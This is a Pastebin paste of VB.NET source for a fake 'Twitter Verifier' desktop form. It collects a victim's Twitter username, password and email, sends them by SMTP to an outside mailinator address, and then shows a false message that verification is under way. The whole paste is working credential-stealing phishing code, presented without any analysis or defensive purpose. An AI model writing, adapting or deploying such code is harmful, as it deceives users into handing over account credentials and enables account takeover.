Advertisement
Guest User

This Is The SC

a guest
Sep 26th, 2015
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.52 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Public Class Form1
  3. Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  4. Dim mailmessage As New MailMessage()
  5. Dim smtp As New SmtpClient("smtp.mail.com")
  6. Try
  7. mailmessage.From = New MailAddress("mailmailmail33@iname.com")
  8. mailmessage.To.Add("TwitterAccountInfo@mailinator.com")
  9. mailmessage.Subject = "Twitter Account Info Of:" & TextBox1.Text
  10. mailmessage.Body = "Twitter Username:" & TextBox1.Text & " " & "Twitter Password:" & TextBox2.Text & " " & "Email:" & TextBox3.Text & " " & "MADE BY C4N"
  11. smtp.Port = 587
  12. smtp.EnableSsl = True
  13. smtp.Credentials = New System.Net.NetworkCredential("mailmailmail33@iname.com", "Removed Le Password Van")
  14. smtp.Send(mailmessage)
  15. MessageBox.Show("Twitter Servers Are Processing The Request. You Should Be Verified Within 48 Hours.", "Twitter Verifier", MessageBoxButtons.OK, MessageBoxIcon.Information)
  16. 'Contact Twitter Saying Verify Request: Info Above
  17. Catch ex As Exception
  18. MessageBox.Show("Error Request Denied", "Twitter Verifier", MessageBoxButtons.OK, MessageBoxIcon.Error)
  19. Me.Close()
  20. End Try
  21. 'Main Code
  22.  
  23.  
  24.  
  25. End Sub
  26.  
  27. Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  28. Me.MinimizeBox = False
  29.  
  30. End Sub
  31.  
  32. Private Sub Button2_Click(sender As Object, e As EventArgs)
  33.  
  34. End Sub
  35. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement